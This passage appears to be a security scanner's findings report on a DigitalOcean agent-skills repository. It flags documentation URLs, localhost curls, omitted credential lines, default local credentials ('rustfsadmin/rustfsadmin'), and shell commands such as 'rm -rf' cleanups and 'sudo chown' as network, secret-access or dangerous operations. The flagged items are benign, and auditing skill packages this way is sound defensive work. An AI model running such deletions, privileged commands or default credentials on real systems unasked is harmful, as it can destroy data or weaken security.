  • Network accessline 176
    regions: https://docs.digitalocean.com/products/app-platform/details/availability/
  • Network accessline 177
    buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/
  • Network accessline 178
    databases: https://docs.digitalocean.com/products/databases/
  • Network accessline 179
    deploy_button: https://docs.digitalocean.com/products/app-platform/how-to/add-deploy-do-button/
  • Network accessline 180
    app_action: https://github.com/digitalocean/app_action
  • Network accessline 181
    doctl: https://docs.digitalocean.com/reference/doctl/reference/apps/

shared/skill-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 3
    "$id": "https://digitalocean.com/schemas/skill-frontmatter.json",
  • Network accessline 62
    "internal": {           "type": "boolean",           "description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discover
  • Network accessline 63
    "type": "boolean",           "description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discovered instead. See https://
  • Network accessline 64
    "description": "If true, this SKILL.md is treated as a router/wrapper and is hidden from default `skills add --list` output. Nested skills under `skills/<name>/SKILL.md` are then discovered instead. See https://github.com/vercel-labs/skills

shared/ssl-database-connections.md

  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Network accessline 341
    - [error-patterns.md](./error-patterns.md) — Quick error lookup - [postgres skill](../skills/postgres/SKILL.md) — Full Postgres configuration - [DigitalOcean Docs: Secure Connections](https://docs.digitalocean.com/products/databases/postgre
  • Network accessline 343
    - [DigitalOcean Docs: Secure Connections](https://docs.digitalocean.com/products/databases/postgresql/how-to/connect/#secure-connections)

skills/ai-services/README.md

  • Network accessline 20
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 22
    value: https://inference.do-ai.run

skills/ai-services/SKILL.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Network accessline 70
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Network accessline 72
    value: https://inference.do-ai.run
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 102
    # Run locally gradient agent run # → http://localhost:8080/run
  • Network accessline 104
    # → http://localhost:8080/run
  • Network accessline 137
    Check [Gradient AI Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/) for current availability.
  • Network accessline 170
    - [Gradient AI Platform](https://docs.digitalocean.com/products/gradient-ai-platform/)
  • Network accessline 171
    - [Available Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/)
  • Network accessline 172
    - [Serverless Inference](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/serverless-inference/)
  • Network accessline 173
    - [Agent Development Kit](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/adk/)

skills/ai-services/reference/agent-development-kit.md

  • Network accessline 65
    https://agents.do-ai.run/v1/{workspace-id}/{deployment-name}/run
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 116
    # Run locally gradient agent run # → http://localhost:8080/run
  • Network accessline 118
    # → http://localhost:8080/run
  • Network accessline 120
    # Test with curl curl -X POST http://localhost:8080/run \
  • Network accessline 121
    curl -X POST http://localhost:8080/run \
  • Network accessline 171
    - [Agent Development Kit](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/adk/)
  • Network accessline 172
    - [ADK Quickstart](https://docs.digitalocean.com/products/gradient-ai-platform/getting-started/adk-quickstart/)
  • Network accessline 173
    - [Knowledge Bases](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/knowledge-bases/)

skills/ai-services/reference/serverless-inference.md

  • Network accessline 7
    | Endpoint | Verb | Description | |----------|------|-------------| | `https://inference.do-ai.run/v1/models` | GET | List available models and IDs |
  • Network accessline 8
    |----------|------|-------------| | `https://inference.do-ai.run/v1/models` | GET | List available models and IDs | | `https://inference.do-ai.run/v1/chat/completions` | POST | Send prompts, get responses |
  • Network accessline 9
    | `https://inference.do-ai.run/v1/models` | GET | List available models and IDs |
  • Network accessline 10
    | `https://inference.do-ai.run/v1/chat/completions` | POST | Send prompts, get responses |
  • Network accessline 36
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 38
    value: https://inference.do-ai.run
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 87
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 101
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 138
    Check [Gradient AI Models](https://docs.digitalocean.com/products/gradient-ai-platform/details/models/) for current availability.
  • Network accessline 163
    See [Partner Provider Keys docs](https://docs.digitalocean.com/products/gradient-ai-platform/how-to/manage-model-keys/).

skills/deployment/README.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Network accessline 94
    - [SKILL.md](./SKILL.md) - Full skill documentation - [app_action repo](https://github.com/digitalocean/app_action)
  • Network accessline 95
    - [app_action repo](https://github.com/digitalocean/app_action)
  • Network accessline 96
    - [App Platform docs](https://docs.digitalocean.com/products/app-platform/)

skills/deployment/SKILL.md

  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Access to secretsline 212
    [Credential-related source omitted]
  • Network accessline 224
    - [app_action GitHub Repository](https://github.com/digitalocean/app_action)
  • Network accessline 225
    - [App Platform Docs](https://docs.digitalocean.com/products/app-platform/)
  • Network accessline 226
    - [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/)
  • Network accessline 227
    - [GitHub Environments Docs](https://docs.github.com/en/actions/deployment/targeting-different-environments/using-environments-for-deployment)

skills/deployment/reference/debug-container-deployment.md

  • Network accessline 5
    **Source**: [github.com/bikramkgupta/do-app-debug-container](https://github.com/bikramkgupta/do-app-debug-container)

skills/deployment/reference/initial-setup.md

  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 224
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 268
    [Credential-related source omitted]

skills/deployment/reference/workflow-templates.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 182
    owner: context.repo.owner,               repo: context.repo.repo,               body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})`
  • Network accessline 183
    repo: context.repo.repo,               body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})`             })
  • Network accessline 184
    body: `❌ Preview deployment failed. [View logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})`
  • Access to secretsline 206
    [Credential-related source omitted]
  • Access to secretsline 271
    [Credential-related source omitted]
  • Access to secretsline 307
    [Credential-related source omitted]
  • Access to secretsline 323
    [Credential-related source omitted]
  • Access to secretsline 339
    [Credential-related source omitted]

skills/designer/SKILL.md

  • Network accessline 87
    [![Deploy to DO](https://www.deploytodo.com/do-btn-blue.svg)](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH)
  • Network accessline 146
    - name: web     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 147
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 148
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 174
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 175
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 176
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 188
    - name: frontend     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 189
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 190
    repo_clone_url: https://github.com/owner/repo.git

skills/designer/reference/architecture-patterns.md

  • Network accessline 16
    - name: web     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 17
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 18
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 49
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 50
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 51
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 64
    - name: frontend     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 65
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 66
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 108
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 109
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 110
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 125
    - name: processor     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 126
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 127
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 161
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 162
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 163
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 171
    - name: admin     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 172
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 173
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 182
    - name: web     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 183
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 184
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 224
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 225
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 226
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 246
    - name: jobs     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 247
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 248
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 260
    kind: PRE_DEPLOY     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 261
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 262
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 270
    cron: "0 6 * * *"     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 271
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 272
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 278
    - name: dashboard     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 279
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 280
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 286
    - name: marketing     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 287
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 288
    repo_clone_url: https://github.com/owner/repo.git

skills/designer/reference/component-types.md

  • Network accessline 13
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 14
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 15
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 39
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 40
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 41
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 52
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 53
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 54
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 70
    - name: queue-processor     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 71
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 72
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 96
    - name: internal-api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 97
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 98
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 121
    kind: PRE_DEPLOY     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 122
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 123
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 135
    kind: POST_DEPLOY     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 136
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 137
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 148
    kind: FAILED_DEPLOY     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 149
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 150
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 164
    time_zone: America/New_York     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 165
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 166
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 188
    - name: frontend     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 189
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 190
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 197
    - key: NEXT_PUBLIC_API_URL         scope: BUILD_TIME         value: https://api.example.com
  • Network accessline 199
    value: https://api.example.com
  • Network accessline 208
    - name: spa     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 209
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 210
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 236
    - name: webhook     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 237
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 238
    repo_clone_url: https://github.com/owner/repo.git
  • Access to secretsline 242
    [Credential-related source omitted]
  • Network accessline 274
    - name: api     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 275
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 276
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 282
    - name: admin     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 283
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 284
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 290
    - name: web     git:       repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 291
    git:       repo_clone_url: https://github.com/owner/repo.git       branch: main
  • Network accessline 292
    repo_clone_url: https://github.com/owner/repo.git

skills/designer/reference/deploy-to-do-button.md

  • Network accessline 65
    - name: web       git:         repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 66
    git:         repo_clone_url: https://github.com/owner/repo.git         branch: main
  • Network accessline 67
    repo_clone_url: https://github.com/owner/repo.git
  • Network accessline 93
    | Style | Image URL | |-------|-----------| | Blue | `https://www.deploytodo.com/do-btn-blue.svg` |
  • Network accessline 94
    |-------|-----------| | Blue | `https://www.deploytodo.com/do-btn-blue.svg` | | Blue Ghost | `https://www.deploytodo.com/do-btn-blue-ghost.svg` |
  • Network accessline 95
    | Blue | `https://www.deploytodo.com/do-btn-blue.svg` |
  • Network accessline 96
    | Blue Ghost | `https://www.deploytodo.com/do-btn-blue-ghost.svg` |
  • Network accessline 97
    | White | `https://www.deploytodo.com/do-btn-white.svg` |
  • Network accessline 98
    | White Ghost | `https://www.deploytodo.com/do-btn-white-ghost.svg` |
  • Network accessline 107
    [![Deploy to DO](https://www.deploytodo.com/do-btn-blue.svg)](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH)
  • Network accessline 113
    <a href="https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH">
  • Network accessline 114
    <img src="https://www.deploytodo.com/do-btn-blue.svg" alt="Deploy to DigitalOcean">
  • Network accessline 121
    [![Deploy to DO](https://www.deploytodo.com/do-btn-blue.svg)](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/v1.0.0)
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 171
    - name: api       git:         repo_clone_url: https://github.com/owner/fastapi-starter.git
  • Network accessline 172
    git:         repo_clone_url: https://github.com/owner/fastapi-starter.git         branch: main
  • Network accessline 173
    repo_clone_url: https://github.com/owner/fastapi-starter.git
  • Network accessline 195
    kind: PRE_DEPLOY       git:         repo_clone_url: https://github.com/owner/fastapi-starter.git
  • Network accessline 196
    git:         repo_clone_url: https://github.com/owner/fastapi-starter.git         branch: main
  • Network accessline 197
    repo_clone_url: https://github.com/owner/fastapi-starter.git
  • Network accessline 257
    [![Deploy to DO](https://www.deploytodo.com/do-btn-blue.svg)](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/main)
  • Access to secretsline 266
    [Credential-related source omitted]

skills/designer/reference/environment-variables.md

  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 343
    # Build-time config NEXT_PUBLIC_API_URL=https://your-app.ondigitalocean.app/api
  • Network accessline 344
    NEXT_PUBLIC_API_URL=https://your-app.ondigitalocean.app/api

skills/devcontainers/README.md

  • Network accessline 18
    **`${DEVCONTAINER_REPO_URL}`** (default: https://github.com/bikramkgupta/do-app-devcontainer)
  • Network accessline 62
    | Valkey 8 | `valkey` | 6379 | `redis://valkey:6379` | | Kafka 7.7 | `kafka` | 9092 | `kafka:9092` | | OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` |
  • Network accessline 63
    | Kafka 7.7 | `kafka` | 9092 | `kafka:9092` | | OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` | | RustFS (S3) | `minio` | 9000/9001 | `http://minio:9000` |
  • Network accessline 64
    | OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` |
  • Network accessline 65
    | RustFS (S3) | `minio` | 9000/9001 | `http://minio:9000` |

skills/devcontainers/SKILL.md

  • Network accessline 30
    # Clone the reference devcontainer git clone --depth 1 https://github.com/bikramkgupta/do-app-devcontainer.git /tmp/devcontainer-ref
  • Network accessline 31
    git clone --depth 1 https://github.com/bikramkgupta/do-app-devcontainer.git /tmp/devcontainer-ref
  • Dangerous shell operationline 37
    rm -rf /tmp/devcontainer-ref
  • Network accessline 70
    | Valkey | `redis://valkey:6379` | | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) |
  • Network accessline 71
    | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) | | OpenSearch | `http://opensearch:9200` |
  • Network accessline 72
    | RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) |
  • Network accessline 73
    | OpenSearch | `http://opensearch:9200` |
  • Network accessline 154
    # S3-compatible storage (RustFS) SPACES_ENDPOINT=http://minio:9000
  • Network accessline 155
    SPACES_ENDPOINT=http://minio:9000
  • Access to secretsline 172
    [Credential-related source omitted]
  • Dangerous shell operationline 214
    | Permission denied | Run: `sudo chown -R vscode:vscode /home/vscode` |
  • Network accessline 252
    - [VS Code Dev Containers](https://code.visualstudio.com/docs/devcontainers/containers)
  • Network accessline 253
    - [Docker Compose](https://docs.docker.com/compose/)
  • Network accessline 254
    - [Reference Implementation](https://github.com/bikramkgupta/do-app-devcontainer)

skills/devcontainers/reference/cli-workflow.md

  • Dangerous shell operationline 38
    docker rm -f port-forward-3000 port-forward-3001
  • Dangerous shell operationline 51
    docker exec -w /workspaces/app $APP_CONTAINER bash -c "rm -rf node_modules && npm install"
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Dangerous shell operationline 145
    docker exec -w /workspaces/app $APP_CONTAINER bash -c "rm -rf node_modules && npm install"
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Network accessline 159
    # 8. Verify services are accessible from host curl http://localhost:3000/health
  • Network accessline 160
    curl http://localhost:3000/health
  • Dangerous shell operationline 163
    docker rm -f pf-3000
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Dangerous shell operationline 196
    rm -f ".devcontainer/.env.bak" 2>/dev/null || true
  • Access to secretsline 198
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 201
    [Credential-related source omitted]
  • Dangerous shell operationline 215
    sudo chown -R vscode:vscode "$dir"

skills/devcontainers/reference/language-configurations.md

  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 237
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]
  • Access to secretsline 239
    [Credential-related source omitted]
  • Network accessline 258
    # S3-compatible storage SPACES_ENDPOINT=http://minio:9000
  • Network accessline 259
    SPACES_ENDPOINT=http://minio:9000

skills/devcontainers/reference/s3-storage-patterns.md

  • Network accessline 9
    | Aspect | Local (RustFS) | Production (DO Spaces) | |--------|----------------|------------------------| | Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` |
  • Network accessline 10
    |--------|----------------|------------------------| | Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` | | Path Style | `true` (required) | `false` |
  • Network accessline 11
    | Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` |
  • Network accessline 23
    SPACES_ENDPOINT=http://minio:9000
  • Network accessline 59
    const s3Client = new S3Client({   endpoint: process.env.SPACES_ENDPOINT ||     `https://${process.env.SPACES_REGION}.digitaloceanspaces.com`,
  • Network accessline 60
    endpoint: process.env.SPACES_ENDPOINT ||     `https://${process.env.SPACES_REGION}.digitaloceanspaces.com`,   region: process.env.SPACES_REGION || 'us-east-1',
  • Network accessline 61
    `https://${process.env.SPACES_REGION}.digitaloceanspaces.com`,
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 79
    [Credential-related source omitted]
  • Network accessline 83
    's3',     endpoint_url=os.environ.get('SPACES_ENDPOINT') or         f"https://{os.environ['SPACES_REGION']}.digitaloceanspaces.com",
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Network accessline 182
    # S3-Compatible Storage (DigitalOcean Spaces / RustFS) # ================================================ # Local: Set SPACES_ENDPOINT to http://minio:9000
  • Network accessline 183
    # ================================================ # Local: Set SPACES_ENDPOINT to http://minio:9000 # Production: Leave SPACES_ENDPOINT unset
  • Network accessline 184
    # Local: Set SPACES_ENDPOINT to http://minio:9000
  • Network accessline 193
    # Local only - set for RustFS/MinIO SPACES_ENDPOINT=http://minio:9000
  • Network accessline 194
    SPACES_ENDPOINT=http://minio:9000
  • Access to secretsline 207
    [Credential-related source omitted]
  • Network accessline 209
    # List buckets aws --endpoint-url http://minio:9000 s3 ls
  • Network accessline 210
    aws --endpoint-url http://minio:9000 s3 ls
  • Network accessline 212
    # Create bucket aws --endpoint-url http://minio:9000 s3 mb s3://my-app-local
  • Network accessline 213
    aws --endpoint-url http://minio:9000 s3 mb s3://my-app-local
  • Network accessline 215
    # Upload file aws --endpoint-url http://minio:9000 s3 cp test.txt s3://my-app-local/
  • Network accessline 216
    aws --endpoint-url http://minio:9000 s3 cp test.txt s3://my-app-local/
  • Network accessline 218
    # Download file aws --endpoint-url http://minio:9000 s3 cp s3://my-app-local/test.txt ./downloaded.txt
  • Network accessline 219
    aws --endpoint-url http://minio:9000 s3 cp s3://my-app-local/test.txt ./downloaded.txt
  • Network accessline 225
    # Health check curl -sf http://minio:9000/health
  • Network accessline 226
    curl -sf http://minio:9000/health
  • Network accessline 261
    **Solution:** Local endpoints use `http://` not `https://`. Ensure your code handles this:

skills/devcontainers/reference/service-templates.md

  • Network accessline 200
    - devcontainer-network   healthcheck:     test: ["CMD", "curl", "-sf", "http://localhost:9000/health"]
  • Network accessline 201
    healthcheck:     test: ["CMD", "curl", "-sf", "http://localhost:9000/health"]     interval: 30s
  • Network accessline 202
    test: ["CMD", "curl", "-sf", "http://localhost:9000/health"]
  • Network accessline 208
    **Credentials:** `rustfsadmin` / `rustfsadmin` **Endpoint:** `http://minio:9000`
  • Network accessline 209
    **Endpoint:** `http://minio:9000`
  • Network accessline 231
    - devcontainer-network   healthcheck:     test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"]
  • Network accessline 232
    healthcheck:     test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"]     interval: 30s
  • Network accessline 233
    test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"]
  • Network accessline 244
    - "127.0.0.1:0:5601"   environment:     - "OPENSEARCH_HOSTS=http://opensearch:9200"
  • Network accessline 245
    environment:     - "OPENSEARCH_HOSTS=http://opensearch:9200"     - "DISABLE_SECURITY_DASHBOARDS_PLUGIN=true"
  • Network accessline 246
    - "OPENSEARCH_HOSTS=http://opensearch:9200"
  • Network accessline 255
    **Endpoint:** `http://opensearch:9200`
  • Network accessline 272
    | Valkey | `redis://valkey:6379` | | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` |
  • Network accessline 273
    | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` | | OpenSearch | `http://opensearch:9200` |
  • Network accessline 274
    | RustFS | `http://minio:9000` |
  • Network accessline 275
    | OpenSearch | `http://opensearch:9200` |

skills/managed-db-services/SKILL.md

  • Network accessline 89
    | Valkey | `REDIS` | 25061 | `rediss://` (with SSL) | [Full guide](reference/valkey.md) | | Kafka | `KAFKA` | 9093 | SASL/SCRAM-SHA-256 | [Full guide](reference/kafka.md) | | OpenSearch | `OPENSEARCH` | 25060 | `https://` with basic auth | 
  • Network accessline 91
    | OpenSearch | `OPENSEARCH` | 25060 | `https://` with basic auth | [Full guide](reference/opensearch.md) |
  • Network accessline 248
    - key: OPENSEARCH_URL         scope: RUN_TIME         value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT}
  • Network accessline 250
    value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT}
  • Network accessline 332
    - [Managed Databases Overview](https://docs.digitalocean.com/products/databases/)
  • Network accessline 333
    - [MySQL](https://docs.digitalocean.com/products/databases/mysql/)
  • Network accessline 334
    - [MongoDB](https://docs.digitalocean.com/products/databases/mongodb/)
  • Network accessline 335
    - [Redis/Valkey](https://docs.digitalocean.com/products/databases/redis/)
  • Network accessline 336
    - [Kafka](https://docs.digitalocean.com/products/databases/kafka/)
  • Network accessline 337
    - [OpenSearch](https://docs.digitalocean.com/products/databases/opensearch/)
  • Network accessline 338
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/managed-db-services/reference/kafka.md

  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Network accessline 261
    - [Kafka on DigitalOcean](https://docs.digitalocean.com/products/databases/kafka/)
  • Network accessline 262
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/managed-db-services/reference/mongodb.md

  • Network accessline 82
    # Create read-only user via API (not available in Console) curl -X POST "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/users" \
  • Network accessline 83
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 121
    - [MongoDB on DigitalOcean](https://docs.digitalocean.com/products/databases/mongodb/)
  • Network accessline 122
    - [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)

skills/managed-db-services/reference/mysql.md

  • Network accessline 172
